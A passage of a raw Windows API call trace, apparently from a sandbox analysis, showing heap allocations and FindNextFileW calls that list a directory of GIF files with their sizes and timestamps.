[0078.010] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.010] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab39c8 [0078.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a9920 [0078.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x16ad, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR24F.GIF", cAlternateFileName="")) returned 1 [0078.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab39e8 [0078.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a9a28 [0078.011] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.011] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd51e200, ftCreationTime.dwHighDateTime=0x1bdb5da, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbd51e200, ftLastWriteTime.dwHighDateTime=0x1bdb5da, nFileSizeHigh=0x0, nFileSizeLow=0x3187, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR25F.GIF", cAlternateFileName="")) returned 1 [0078.011] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3a08 [0078.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a9b30 [0078.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.012] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1985, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR26F.GIF", cAlternateFileName="")) returned 1 [0078.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.012] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3a28 [0078.012] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a9c38 [0078.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.013] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1cd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR27F.GIF", cAlternateFileName="")) returned 1 [0078.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3a48 [0078.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a9d40 [0078.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.013] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x684, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR28B.GIF", cAlternateFileName="")) returned 1 [0078.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.013] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.013] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3a68 [0078.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a9e48 [0078.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.014] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1786, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR28F.GIF", cAlternateFileName="")) returned 1 [0078.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3a88 [0078.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11a9f50 [0078.014] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.014] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x11b3, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR29B.GIF", cAlternateFileName="")) returned 1 [0078.014] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3aa8 [0078.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11aa058 [0078.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.015] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x59bc, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR29F.GIF", cAlternateFileName="")) returned 1 [0078.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.015] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3ac8 [0078.015] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11aa160 [0078.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.016] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3567a000, ftCreationTime.dwHighDateTime=0x1bdb36e, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x3567a000, ftLastWriteTime.dwHighDateTime=0x1bdb36e, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR2B.GIF", cAlternateFileName="")) returned 1 [0078.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3ae8 [0078.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11aa268 [0078.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3d40) returned 0xac2fc0 [0078.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xabf2b8) returned 1 [0078.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.016] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xf73, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR2F.GIF", cAlternateFileName="")) returned 1 [0078.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.016] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.016] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3b08 [0078.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11aa370 [0078.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.017] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x332e, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR30B.GIF", cAlternateFileName="")) returned 1 [0078.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3b28 [0078.017] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11aa478 [0078.017] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.018] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x4bda, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR30F.GIF", cAlternateFileName="")) returned 1 [0078.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3b48 [0078.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11aa580 [0078.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.018] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bae6e50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x838, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR31B.GIF", cAlternateFileName="")) returned 1 [0078.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.018] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.018] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3b68 [0078.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11aa688 [0078.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.019] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x52da, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR31F.GIF", cAlternateFileName="")) returned 1 [0078.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3b88 [0078.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11aa790 [0078.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.019] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xf47, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR32B.GIF", cAlternateFileName="")) returned 1 [0078.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.019] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.019] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3ba8 [0078.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11aa898 [0078.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.020] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x910b, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR32F.GIF", cAlternateFileName="")) returned 1 [0078.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.020] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab3bc8 [0078.020] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x11aa9a0 [0078.021] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xab7ac8) returned 1 [0078.021] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1631, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR33B.GIF", cAlternateFileName="")) returned 1 [0078.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.021] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2d13, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR33F.GIF", cAlternateFileName="")) returned 1 [0078.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.021] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1179, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR34B.GIF", cAlternateFileName="")) returned 1 [0078.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.021] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x95dd, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR34F.GIF", cAlternateFileName="")) returned 1 [0078.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.021] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x11ec, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR35B.GIF", cAlternateFileName="")) returned 1 [0078.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.021] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x1bb0cfb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x2bb6, dwReserved0=0x0, dwReserved1=0x0, cFileName="PDIR35F.GIF", cAlternateFileName="")) returned 1 [0078.021] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xab7ac8 [0078.021] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: 